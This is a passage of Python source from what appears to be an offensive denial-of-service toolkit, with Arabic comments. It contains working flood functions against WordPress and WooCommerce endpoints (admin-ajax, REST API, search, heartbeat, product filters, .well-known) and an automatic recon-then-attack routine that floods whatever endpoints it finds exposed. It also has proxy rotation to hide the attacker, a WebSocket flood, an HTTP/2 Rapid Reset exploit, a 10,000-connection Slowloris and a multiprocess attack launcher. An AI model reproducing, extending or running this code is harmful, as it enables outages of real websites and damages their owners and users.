| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] Cache Bypass Flood done. Sent={counters['sent']} Bypassed={counters['bypass']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def admin_ajax_flood(url: str, actions: list = None, workers: int = 150, | |
| duration: float = 60.0, logger=None): | |
| """ | |
| WordPress admin-ajax.php Resource Exhaustion. | |
| يغرق نقطة AJAX الديناميكية بطلبات تستنزف PHP وقاعدة البيانات. | |
| """ | |
| import requests as _req, threading, time, random | |
| actions = actions or [ | |
| "heartbeat", "query-attachments", "fetch-list", | |
| "wp-compression-test", "get-tagcloud", "nopriv_wc_get_refreshed_fragments" | |
| ] | |
| ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php" | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "ok": 0} | |
| lock = threading.Lock() | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({"User-Agent": "Mozilla/5.0", "X-Requested-With": "XMLHttpRequest"}) | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| action = random.choice(actions) | |
| try: | |
| r = session.post(ajax_url, data={"action": action}, timeout=5, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| if r.status_code == 200: | |
| counters["ok"] += 1 | |
| except Exception: | |
| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] Admin-Ajax Flood done. Sent={counters['sent']} OK={counters['ok']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def wp_rest_api_flood(url: str, endpoints: list = None, workers: int = 100, | |
| duration: float = 60.0, logger=None): | |
| """ | |
| WordPress REST API Flood – استنزاف /wp-json/ بطلبات ثقيلة. | |
| يكشف المستخدمين ويُجبر قاعدة البيانات على استعلامات معقدة. | |
| """ | |
| import requests as _req, threading, time, random | |
| endpoints = endpoints or [ | |
| "/wp-json/wp/v2/users", | |
| "/wp-json/wp/v2/posts?per_page=100", | |
| "/wp-json/wp/v2/pages?per_page=100", | |
| "/wp-json/wp/v2/comments?per_page=100", | |
| "/wp-json/wp/v2/categories", | |
| "/wp-json/wp/v2/tags", | |
| "/wp-json/wp/v2/media?per_page=100", | |
| ] | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "ok": 0} | |
| lock = threading.Lock() | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({"User-Agent": "Mozilla/5.0", "Accept": "application/json"}) | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| ep = random.choice(endpoints) | |
| target = url.rstrip("/") + ep | |
| try: | |
| r = session.get(target, timeout=8, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| if r.status_code == 200: | |
| counters["ok"] += 1 | |
| except Exception: | |
| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] WP REST API Flood done. Sent={counters['sent']} OK={counters['ok']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def wp_search_flood(url: str, workers: int = 150, duration: float = 60.0, | |
| word_length: int = 20, logger=None): | |
| """ | |
| WordPress Search Flood – إغراق /?s= بكلمات بحث عشوائية ومعقدة. | |
| يُنتج استعلامات LIKE ثقيلة على MySQL مما يؤدي لانهيار قاعدة البيانات. | |
| """ | |
| import requests as _req, threading, time, random, string | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "ok": 0} | |
| lock = threading.Lock() | |
| def _random_word(length): | |
| # Generate complex search terms that produce heavy DB queries | |
| chars = string.ascii_letters + string.digits + " " | |
| return ''.join(random.choices(chars, k=length)) | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({"User-Agent": "Mozilla/5.0"}) | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| keyword = _random_word(random.randint(10, word_length)) | |
| search_url = f"{url.rstrip('/')}/?s={keyword.replace(' ', '+')}" | |
| try: | |
| r = session.get(search_url, timeout=8, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| if r.status_code == 200: | |
| counters["ok"] += 1 | |
| except Exception: | |
| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] WP Search Flood done. Sent={counters['sent']} OK={counters['ok']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def woocommerce_filter_flood(url: str, workers: int = 100, duration: float = 60.0, | |
| logger=None): | |
| """ | |
| WooCommerce Filter Exhaustion – استنزاف صفحات فلترة المنتجات. | |
| يُولّد استعلامات SQL معقدة تُجهد قاعدة البيانات. | |
| """ | |
| import requests as _req, threading, time, random | |
| stop_event = threading.Event() | |
| counters = {"sent": 0} | |
| lock = threading.Lock() | |
| categories = ["clothing", "electronics", "shoes", "bags", "accessories", "sale"] | |
| orderby = ["price", "price-desc", "popularity", "rating", "date", "rand"] | |
| shop_paths = ["/shop/", "/store/", "/products/"] | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({"User-Agent": "Mozilla/5.0"}) | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| path = random.choice(shop_paths) | |
| cat = random.choice(categories) | |
| order = random.choice(orderby) | |
| min_p = random.randint(0, 500) | |
| max_p = random.randint(min_p + 1, 5000) | |
| per = random.choice([12, 24, 48, 96]) | |
| target = (f"{url.rstrip('/')}{path}?min_price={min_p}&max_price={max_p}" | |
| f"&orderby={order}&product_cat={cat}&per_page={per}" | |
| f"&paged={random.randint(1,20)}") | |
| try: | |
| session.get(target, timeout=8, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| except Exception: | |
| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] WooCommerce Filter Flood done. Sent={counters['sent']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def heartbeat_api_flood(url: str, workers: int = 100, duration: float = 60.0, | |
| nonce: str = "", logger=None): | |
| """ | |
| WordPress Heartbeat API Abuse – محاكاة طلبات Heartbeat المكثفة. | |
| يستنزف موارد PHP عبر admin-ajax.php?action=heartbeat. | |
| """ | |
| import requests as _req, threading, time, json as _json | |
| ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php" | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "ok": 0} | |
| lock = threading.Lock() | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({ | |
| "User-Agent": "Mozilla/5.0", | |
| "X-Requested-With": "XMLHttpRequest", | |
| "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" | |
| }) | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| payload = {"action": "heartbeat", "interval": "15"} | |
| if nonce: | |
| payload["_nonce"] = nonce | |
| try: | |
| r = session.post(ajax_url, data=payload, timeout=5, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| if r.status_code == 200: | |
| counters["ok"] += 1 | |
| except Exception: | |
| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] Heartbeat API Flood done. Sent={counters['sent']} OK={counters['ok']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| def well_known_flood(host: str, paths: list = None, workers: int = 100, | |
| duration: float = 60.0, logger=None): | |
| """ | |
| .well-known Directory Attack – إغراق مسارات .well-known بطلبات عشوائية. | |
| يستنزف PHP عبر معالجة طلبات 404 ديناميكياً بدلاً من Static responses. | |
| """ | |
| import requests as _req, threading, time, random, string | |
| stop_event = threading.Event() | |
| counters = {"sent": 0, "info_leaked": 0} | |
| lock = threading.Lock() | |
| # Known .well-known paths + random enumeration | |
| known_paths = paths or [ | |
| "/.well-known/acme-challenge/", | |
| "/.well-known/security.txt", | |
| "/.well-known/openid-configuration", | |
| "/.well-known/change-password", | |
| "/.well-known/apple-app-site-association", | |
| "/.well-known/assetlinks.json", | |
| "/.well-known/dnt-policy.txt", | |
| "/.well-known/webfinger", | |
| "/.well-known/mta-sts.txt", | |
| ] | |
| def _random_path(length=12): | |
| return ''.join(random.choices(string.ascii_lowercase + string.digits + '-', k=length)) | |
| def _worker(): | |
| session = _req.Session() | |
| session.headers.update({"User-Agent": "Mozilla/5.0"}) | |
| base = host.rstrip("/") | |
| start = time.monotonic() | |
| while not stop_event.is_set() and time.monotonic() - start < duration: | |
| # Mix known paths with random enumeration | |
| if random.random() < 0.4: | |
| path = random.choice(known_paths) | |
| else: | |
| path = f"/.well-known/{_random_path()}" | |
| try: | |
| r = session.get(base + path, timeout=5, verify=False) | |
| with lock: | |
| counters["sent"] += 1 | |
| # If we get 200 on known paths → info leak | |
| if r.status_code == 200 and path in known_paths: | |
| counters["info_leaked"] += 1 | |
| print(f"[!] Info Leak: {base + path} → {len(r.text)} bytes") | |
| except Exception: | |
| with lock: | |
| counters["sent"] += 1 | |
| threads = [threading.Thread(target=_worker, daemon=True) for _ in range(workers)] | |
| for t in threads: t.start() | |
| time.sleep(duration) | |
| stop_event.set() | |
| for t in threads: t.join(timeout=2) | |
| msg = f"[✓] .well-known Flood done. Sent={counters['sent']} InfoLeaks={counters['info_leaked']}" | |
| print(msg) | |
| if logger: logger.info(msg) | |
| return counters | |
| # ============================================================================ | |
| # WORDPRESS AUTO-RECON + AUTO-ATTACK INTEGRATION | |
| # ============================================================================ | |
| def wordpress_recon_and_attack( | |
| url: str, | |
| attack: bool = True, | |
| workers: int = 100, | |
| duration: float = 60.0, | |
| logger=None | |
| ) -> dict: | |
| """ | |
| Auto Recon → Auto Attack Integration. | |
| المرحلة 1: Probe — يفحص الموقع ويكتشف النقاط المكشوفة. | |
| المرحلة 2: Report — يطبع جدول بالنتائج. | |
| المرحلة 3: Attack — يهاجم النقاط المكشوفة فقط (إذا attack=True). | |
| :param url: الرابط الكامل للموقع مثل https://example.com | |
| :param attack: True = يهاجم بعد الفحص | False = فحص فقط بدون هجوم | |
| :param workers: عدد Threads لكل هجوم | |
| :param duration: مدة كل هجوم بالثواني | |
| :param logger: Logger موحد مع بقية الأداة | |
| :return: dict يحتوي على نتائج الفحص وإحصائيات الهجوم | |
| """ | |
| import requests as _req, threading, time | |
| base = url.rstrip("/") | |
| session = _req.Session() | |
| session.headers.update({ | |
| "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", | |
| "Accept": "text/html,application/xhtml+xml,*/*", | |
| }) | |
| session.verify = False | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| # Phase 1: RECONNAISSANCE | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| print("\n" + "=" * 60) | |
| print(f" 🔍 WordPress Auto-Recon → {base}") | |
| print("=" * 60) | |
| probes = { | |
| "xmlrpc" : f"{base}/xmlrpc.php", | |
| "wp_login" : f"{base}/wp-login.php", | |
| "admin_ajax" : f"{base}/wp-admin/admin-ajax.php", | |
| "rest_api" : f"{base}/wp-json/wp/v2/users", | |
| "rest_posts" : f"{base}/wp-json/wp/v2/posts?per_page=100", | |
| "search" : f"{base}/?s=test", | |
| "woocommerce" : f"{base}/shop/", | |
| "heartbeat" : f"{base}/wp-admin/admin-ajax.php", | |
| "well_known" : f"{base}/.well-known/security.txt", | |
| "acme_challenge": f"{base}/.well-known/acme-challenge/", | |
| "openid" : f"{base}/.well-known/openid-configuration", | |
| "cache_test" : f"{base}/?nocache_probe=1&rand=99999", | |
| } | |
| results = {} | |
| exposed = [] | |
| # Probe each endpoint | |
| for name, probe_url in probes.items(): | |
| try: | |
| r = session.get(probe_url, timeout=6, allow_redirects=True) | |
| sc = r.status_code | |
| size = len(r.content) | |
| # Determine exposure level | |
| if name == "xmlrpc" and sc in (200, 405): | |
| status = "🔴 EXPOSED" | |
| exposed.append(name) | |
| elif name == "wp_login" and sc == 200: | |
| status = "🔴 EXPOSED" | |
| exposed.append(name) | |
| elif name == "admin_ajax" and sc == 200 and "0" in r.text: | |
| status = "🟡 ACCESSIBLE" | |
| exposed.append(name) | |
| elif name == "rest_api" and sc == 200 and "[" in r.text: | |
| status = "🔴 USERS LEAKED" | |
| exposed.append(name) | |
| elif name == "rest_posts" and sc == 200: | |
| status = "🟡 ACCESSIBLE" | |
| exposed.append(name) | |
| elif name == "search" and sc == 200 and "search" in r.text.lower(): | |
| status = "🟡 ACCESSIBLE" | |
| exposed.append(name) | |
| elif name == "woocommerce" and sc == 200: | |
| status = "🟡 ACCESSIBLE" | |
| exposed.append(name) | |
| elif name == "heartbeat": | |
| status = "🟡 ACCESSIBLE" | |
| exposed.append(name) | |
| elif name == "well_known" and sc == 200: | |
| status = "🟡 INFO LEAK" | |
| exposed.append(name) | |
| elif name == "acme_challenge" and sc in (200, 403, 404): | |
| status = "🟡 EXISTS" | |
| exposed.append(name) | |
| elif name == "openid" and sc == 200: | |
| status = "🔴 CONFIG EXPOSED" | |
| exposed.append(name) | |
| elif name == "cache_test" and sc == 200: | |
| status = "🟡 CACHEABLE? CHECK" | |
| exposed.append(name) | |
| else: | |
| status = f"✅ CLOSED ({sc})" | |
| results[name] = {"url": probe_url, "status_code": sc, "size": size, "verdict": status} | |
| print(f" {'%-16s' % name} {status} [{sc}] ({size}b) → {probe_url}") | |
| except Exception as e: | |
| results[name] = {"url": probe_url, "status_code": 0, "size": 0, "verdict": "⚪ UNREACHABLE"} | |
| print(f" {'%-16s' % name} ⚪ UNREACHABLE → {e}") | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| # Phase 2: REPORT | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| print("\n" + "=" * 60) | |
| print(f" 📋 RECON SUMMARY — Exposed: {len(exposed)}/{len(probes)}") | |
| print("=" * 60) | |
| if not exposed: | |
| print(" ✅ No exposed endpoints found. Site appears hardened.") | |
| return {"results": results, "exposed": [], "attacks": {}} | |
| print(f" Exposed endpoints: {', '.join(exposed)}") | |
| if not attack: | |
| print(" [i] attack=False — Recon only, no attack launched.") | |
| return {"results": results, "exposed": exposed, "attacks": {}} | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| # Phase 3: TARGETED ATTACK | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| print(f"\n 🚀 Launching targeted attacks on {len(exposed)} exposed endpoint(s)...") | |
| print(f" Workers: {workers} | Duration: {duration}s each") | |
| print("=" * 60) | |
| # Attack dispatch map | |
| attack_map = { | |
| "xmlrpc" : lambda: xmlrpc_request(base, base, extra_headers=True, timeout=10), | |
| "wp_login" : lambda: wp_login_flood(base, workers=workers, duration=duration, logger=logger), | |
| "admin_ajax" : lambda: admin_ajax_flood(base, workers=workers, duration=duration, logger=logger), | |
| "rest_api" : lambda: wp_rest_api_flood(base, workers=workers, duration=duration, logger=logger), | |
| "rest_posts" : lambda: wp_rest_api_flood(base, workers=workers, duration=duration, logger=logger), | |
| "search" : lambda: wp_search_flood(base, workers=workers, duration=duration, logger=logger), | |
| "woocommerce" : lambda: woocommerce_filter_flood(base, workers=workers, duration=duration, logger=logger), | |
| "heartbeat" : lambda: heartbeat_api_flood(base, workers=workers, duration=duration, logger=logger), | |
| "well_known" : lambda: well_known_flood(base, workers=workers, duration=duration, logger=logger), | |
| "acme_challenge": lambda: well_known_flood( | |
| base, | |
| paths=["/.well-known/acme-challenge/"], | |
| workers=workers, duration=duration, logger=logger | |
| ), | |
| "openid" : lambda: well_known_flood( | |
| base, | |
| paths=["/.well-known/openid-configuration"], | |
| workers=workers, duration=duration, logger=logger | |
| ), | |
| "cache_test" : lambda: cache_bypass_flood(base, workers=workers, duration=duration, logger=logger), | |
| } | |
| attack_stats = {} | |
| attack_threads = [] | |
| for ep in exposed: | |
| if ep not in attack_map: | |
| continue | |
| print(f"\n ▶ Attacking: {ep} → {probes.get(ep, '')}") | |
| def _run_attack(endpoint=ep): | |
| try: | |
| result = attack_map[endpoint]() | |
| attack_stats[endpoint] = result | |
| except Exception as ex: | |
| attack_stats[endpoint] = {"error": str(ex)} | |
| t = threading.Thread(target=_run_attack, daemon=True) | |
| attack_threads.append(t) | |
| t.start() | |
| # Small stagger between attack launches to avoid overwhelming own network | |
| time.sleep(0.5) | |
| # Wait for all attacks to complete | |
| for t in attack_threads: | |
| t.join(timeout=duration + 15) | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| # Final Report | |
| # ── ── ── ── ── ── ── ── ── ── ── ── ── ── | |
| print("\n" + "=" * 60) | |
| print(" ✅ ATTACK COMPLETE — Final Statistics") | |
| print("=" * 60) | |
| for ep, stats in attack_stats.items(): | |
| if isinstance(stats, dict) and "error" not in stats: | |
| sent = stats.get("sent", stats.get("packets", "?")) | |
| ok = stats.get("ok", stats.get("bypass", "?")) | |
| print(f" {ep:<16} Sent={sent} OK/Bypass={ok}") | |
| elif isinstance(stats, dict) and "error" in stats: | |
| print(f" {ep:<16} ERROR: {stats['error']}") | |
| if logger: | |
| logger.info("wordpress_recon_and_attack complete. Exposed=%d Attacked=%d", | |
| len(exposed), len(attack_stats)) | |
| return { | |
| "results" : results, | |
| "exposed" : exposed, | |
| "attacks" : attack_stats, | |
| } | |
| # ============================================================================ | |
| # NEW ATTACK VECTORS - CRITICAL MISSING POWER FEATURES | |
| # ============================================================================ | |
| class ProxyRotationEngine: | |
| """Real proxy/SOCKS5 rotation engine with health checking and dead-proxy removal""" | |
| def __init__(self, proxy_file: str = "", proxy_list: list = None): | |
| self.proxies = list(proxy_list) if proxy_list else [] | |
| self.dead_proxies = set() | |
| self.lock = threading.Lock() | |
| self.current_index = 0 | |
| self.usage_count = defaultdict(int) | |
| if proxy_file and os.path.isfile(proxy_file): | |
| self.proxies = load_proxy_list(proxy_file) | |
| def add_proxy(self, proxy: str): | |
| with self.lock: | |
| if proxy not in self.proxies: | |
| self.proxies.append(proxy) | |
| def get_next(self) -> str: | |
| with self.lock: | |
| alive = [p for p in self.proxies if p not in self.dead_proxies] | |
| if not alive: | |
| return None | |
| self.current_index = (self.current_index + 1) % len(alive) | |
| proxy = alive[self.current_index] | |
| self.usage_count[proxy] += 1 | |
| return proxy | |
| def get_random_proxy(self) -> str: | |
| with self.lock: | |
| alive = [p for p in self.proxies if p not in self.dead_proxies] | |
| return random.choice(alive) if alive else None | |
| def mark_dead(self, proxy: str): | |
| with self.lock: | |
| self.dead_proxies.add(proxy) | |
| def mark_alive(self, proxy: str): | |
| with self.lock: | |
| self.dead_proxies.discard(proxy) | |
| def get_proxy_dict(self, proxy: str = None) -> dict: | |
| p = proxy or self.get_next() | |
| if not p: | |
| return {} | |
| if p.startswith("socks"): | |
| return {"http": p, "https": p} | |
| elif p.startswith("http"): | |
| return {"http": p, "https": p} | |
| else: | |
| return {"http": f"http://{p}", "https": f"http://{p}"} | |
| def get_urllib_proxy_handler(self, proxy: str = None): | |
| proxy_dict = self.get_proxy_dict(proxy) | |
| if not proxy_dict: | |
| return None | |
| return urllib.request.ProxyHandler(proxy_dict) | |
| def health_check(self, proxy: str, timeout: int = 5) -> bool: | |
| try: | |
| proxy_dict = self.get_proxy_dict(proxy) | |
| handler = urllib.request.ProxyHandler(proxy_dict) | |
| opener = urllib.request.build_opener(handler) | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| req = urllib.request.Request("https://httpbin.org/ip", | |
| headers={"User-Agent": "Mozilla/5.0"}) | |
| resp = opener.open(req, timeout=timeout, context=ctx) | |
| return resp.status == 200 | |
| except Exception: | |
| return False | |
| def check_all_async(self): | |
| """Check all proxies in parallel threads""" | |
| def _check(proxy): | |
| if self.health_check(proxy): | |
| self.mark_alive(proxy) | |
| else: | |
| self.mark_dead(proxy) | |
| with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: | |
| executor.map(_check, list(self.proxies)) | |
| def alive_count(self) -> int: | |
| return len(self.proxies) - len(self.dead_proxies) | |
| def total_count(self) -> int: | |
| return len(self.proxies) | |
| async def websocket_flood(target_url: str, connections: int = 1000, | |
| duration: float = 60, message_size: int = 4096, | |
| logger=None): | |
| """WebSocket connection exhaustion + message flood""" | |
| try: | |
| import websockets | |
| except ImportError: | |
| print("[!] websockets not installed. pip install websockets") | |
| return | |
| ws_url = target_url.replace("https://", "wss://").replace("http://", "ws://") | |
| if not ws_url.startswith("ws"): | |
| ws_url = f"wss://{ws_url}" | |
| stats = {"connected": 0, "messages_sent": 0, "errors": 0, "bytes_sent": 0} | |
| start_time = time.monotonic() | |
| async def ws_worker(worker_id): | |
| while time.monotonic() - start_time < duration: | |
| try: | |
| async with websockets.connect( | |
| ws_url, | |
| additional_headers={"User-Agent": random.choice(USER_AGENTS)}, | |
| close_timeout=2, | |
| open_timeout=5, | |
| ping_interval=None | |
| ) as ws: | |
| stats["connected"] += 1 | |
| while time.monotonic() - start_time < duration: | |
| payload = os.urandom(message_size) | |
| await ws.send(payload) | |
| stats["messages_sent"] += 1 | |
| stats["bytes_sent"] += message_size | |
| await asyncio.sleep(0.001) | |
| except Exception: | |
| stats["errors"] += 1 | |
| await asyncio.sleep(0.1) | |
| print(f"[WS] Starting WebSocket flood: {ws_url}, workers={connections}, duration={duration}s") | |
| tasks = [asyncio.create_task(ws_worker(i)) for i in range(connections)] | |
| await asyncio.gather(*tasks, return_exceptions=True) | |
| elapsed = time.monotonic() - start_time | |
| mps = stats["messages_sent"] / elapsed if elapsed > 0 else 0 | |
| print(f"[WS] Complete: {stats['messages_sent']} msgs ({mps:.0f}/s), " | |
| f"{stats['bytes_sent']/1024/1024:.1f} MB, " | |
| f"{stats['connected']} conns, {stats['errors']} errs, {elapsed:.1f}s") | |
| async def h2_rapid_reset_attack(target: str, streams_per_connection: int = 100, | |
| connections: int = 50, duration: float = 60): | |
| """HTTP/2 Rapid Reset (CVE-2023-44487) - sends HEADERS then RST_STREAM immediately. | |
| Exhausts server stream allocation without consuming bandwidth.""" | |
| if not HTTPX_AVAILABLE: | |
| print("[!] httpx required for HTTP/2 Rapid Reset. pip install httpx[http2]") | |
| return | |
| stats = {"streams_reset": 0, "errors": 0} | |
| start_time = time.monotonic() | |
| async def reset_worker(worker_id): | |
| while time.monotonic() - start_time < duration: | |
| try: | |
| async with httpx.AsyncClient( | |
| http2=True, verify=False, | |
| timeout=httpx.Timeout(5.0, connect=3.0), | |
| limits=httpx.Limits(max_connections=10, max_keepalive_connections=5) | |
| ) as client: | |
| for _ in range(streams_per_connection): | |
| if time.monotonic() - start_time >= duration: | |
| break | |
| headers = { | |
| "User-Agent": random.choice(USER_AGENTS), | |
| "Accept": "*/*", | |
| "Cache-Control": "no-cache", | |
| f"X-Pad-{random.randint(1,9999)}": os.urandom(16).hex(), | |
| } | |
| task = asyncio.create_task(client.get(target, headers=headers)) | |
| await asyncio.sleep(0.0005) | |
| if not task.done(): | |
| task.cancel() | |
| stats["streams_reset"] += 1 | |
| except Exception: | |
| stats["errors"] += 1 | |
| await asyncio.sleep(0.02) | |
| print(f"[H2-RST] HTTP/2 Rapid Reset: {target}, conns={connections}, " | |
| f"streams/conn={streams_per_connection}") | |
| workers = [asyncio.create_task(reset_worker(i)) for i in range(connections)] | |
| await asyncio.gather(*workers, return_exceptions=True) | |
| elapsed = time.monotonic() - start_time | |
| rps = stats["streams_reset"] / elapsed if elapsed > 0 else 0 | |
| print(f"[H2-RST] Complete: {stats['streams_reset']} resets ({rps:.0f}/s), " | |
| f"errors: {stats['errors']}, {elapsed:.1f}s") | |
| async def async_slowloris_attack(host: str, port: int = 80, connections: int = 10000, | |
| duration: float = 300): | |
| """Async Slowloris - holds 10,000+ connections using asyncio (vs ~1000 with threads)""" | |
| stats = {"active": 0, "total_opened": 0, "keepalive_rounds": 0, "refilled": 0} | |
| writers = [] | |
| start_time = time.monotonic() | |
| async def open_connection(): | |
| try: | |
| if port == 443: | |
| ssl_ctx = ssl.create_default_context() | |
| ssl_ctx.check_hostname = False | |
| ssl_ctx.verify_mode = ssl.CERT_NONE | |
| reader, writer = await asyncio.wait_for( | |
| asyncio.open_connection(host, port, ssl=ssl_ctx), timeout=5) | |
| else: | |
| reader, writer = await asyncio.wait_for( | |
| asyncio.open_connection(host, port), timeout=5) | |
| path = random.choice(["/", "/index.html", "/api", "/login", "/search"]) | |
| header = ( | |
| f"GET {path} HTTP/1.1\r\n" | |
| f"Host: {host}\r\n" | |
| f"User-Agent: {random.choice(USER_AGENTS)}\r\n" | |
| f"Accept: {random.choice(REALISTIC_ACCEPTS)}\r\n" | |
| f"Connection: keep-alive\r\n" | |
| f"Content-Length: 100000\r\n" | |
| ) | |
| writer.write(header.encode()) | |
| await writer.drain() | |
| stats["total_opened"] += 1 | |
| stats["active"] += 1 | |
| return writer | |
| except Exception: | |
| return None | |
| # Phase 1: Open connections in batches | |
| batch_size = min(500, connections) | |
| for batch_start in range(0, connections, batch_size): | |
| if time.monotonic() - start_time >= duration: | |
| break | |
| batch_end = min(batch_start + batch_size, connections) | |
| tasks = [open_connection() for _ in range(batch_end - batch_start)] | |
| results = await asyncio.gather(*tasks, return_exceptions=True) | |
| for w in results: | |
| if w and not isinstance(w, Exception): | |
| writers.append(w) | |
| print(f"[Async-Slowloris] Opened {len(writers)}/{connections} sockets") | |
| print(f"[Async-Slowloris] Phase 1: {len(writers)} active sockets held open") | |
| # Phase 2: Keep-alive loop - send partial headers to keep connections alive | |
| while time.monotonic() - start_time < duration and writers: | |
| stats["keepalive_rounds"] += 1 | |
| dead = [] | |
| for writer in writers: | |
| try: | |
| header = f"X-Req-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n" | |
| writer.write(header.encode()) | |
| await writer.drain() | |
| except Exception: | |
| dead.append(writer) | |
| stats["active"] -= 1 | |
| for d in dead: | |
| writers.remove(d) | |
| try: | |
| d.close() | |
| except Exception: | |
| pass | |
| # Refill dead slots | |
| refill = min(len(dead), connections - len(writers)) | |
| if refill > 0: | |
| tasks = [open_connection() for _ in range(refill)] | |
| results = await asyncio.gather(*tasks, return_exceptions=True) | |
| for w in results: | |
| if w and not isinstance(w, Exception): | |
| writers.append(w) | |
| stats["refilled"] += 1 | |
| if stats["keepalive_rounds"] % 3 == 0: | |
| print(f"[Async-Slowloris] Round {stats['keepalive_rounds']} | " | |
| f"Active: {len(writers)} | Opened: {stats['total_opened']}") | |
| await asyncio.sleep(random.uniform(8, 12)) | |
| for w in writers: | |
| try: | |
| w.close() | |
| except Exception: | |
| pass | |
| elapsed = time.monotonic() - start_time | |
| print(f"[Async-Slowloris] Complete: {elapsed:.1f}s, {stats['total_opened']} total, " | |
| f"{stats['keepalive_rounds']} rounds, {stats['refilled']} refilled") | |
| async def doh_resolve(domain: str, dns_server: str = "https://1.1.1.1/dns-query") -> list: | |
| """DNS-over-HTTPS resolver - prevents target info leaking to ISP DNS""" | |
| try: | |
| if HTTPX_AVAILABLE: | |
| async with httpx.AsyncClient(verify=False, timeout=5.0) as client: | |
| resp = await client.get( | |
| dns_server, | |
| params={"name": domain, "type": "A"}, | |
| headers={"Accept": "application/dns-json"} | |
| ) | |
| data = resp.json() | |
| return [ans["data"] for ans in data.get("Answer", []) if ans.get("type") == 1] | |
| else: | |
| url = f"{dns_server}?name={domain}&type=A" | |
| req = urllib.request.Request(url, headers={ | |
| "Accept": "application/dns-json", "User-Agent": "Mozilla/5.0" | |
| }) | |
| ctx = ssl.create_default_context() | |
| ctx.check_hostname = False | |
| ctx.verify_mode = ssl.CERT_NONE | |
| with urllib.request.urlopen(req, context=ctx, timeout=5) as resp: | |
| data = json.loads(resp.read()) | |
| return [ans["data"] for ans in data.get("Answer", []) if ans.get("type") == 1] | |
| except Exception: | |
| return [] | |
| def multiprocess_attack_launcher(target: str, total_workers: int, duration: int, | |
| attack_kwargs: dict, cores: int = None): | |
| """Launch attack across multiple OS processes to bypass Python GIL. | |
| Each process gets its own event loop with (total_workers / cores) async workers.""" | |
| import multiprocessing | |
| cores = cores or min(multiprocessing.cpu_count(), 8) | |
| workers_per_core = max(10, total_workers // cores) | |
| def process_worker(proc_id, n_workers, dur, kwargs): | |
| import asyncio | |
| kwargs = dict(kwargs) | |
| kwargs["threads"] = n_workers | |
| kwargs["duration"] = dur | |
| engine = UltimateIntegratedEngine(**kwargs) | |
| loop = asyncio.new_event_loop() | |
| asyncio.set_event_loop(loop) | |
| try: | |
| loop.run_until_complete(engine.start_attack()) | |
| except KeyboardInterrupt: | |
| engine.stop() | |
| finally: | |
| loop.close() | |
| processes = [] | |
| print(f"[MP] Launching {cores} processes × {workers_per_core} workers = " | |
| f"{cores * workers_per_core} total workers") | |
| for i in range(cores): | |
| p = multiprocessing.Process( | |
| target=process_worker, | |
| args=(i, workers_per_core, duration, attack_kwargs), | |
| daemon=True | |
| ) | |
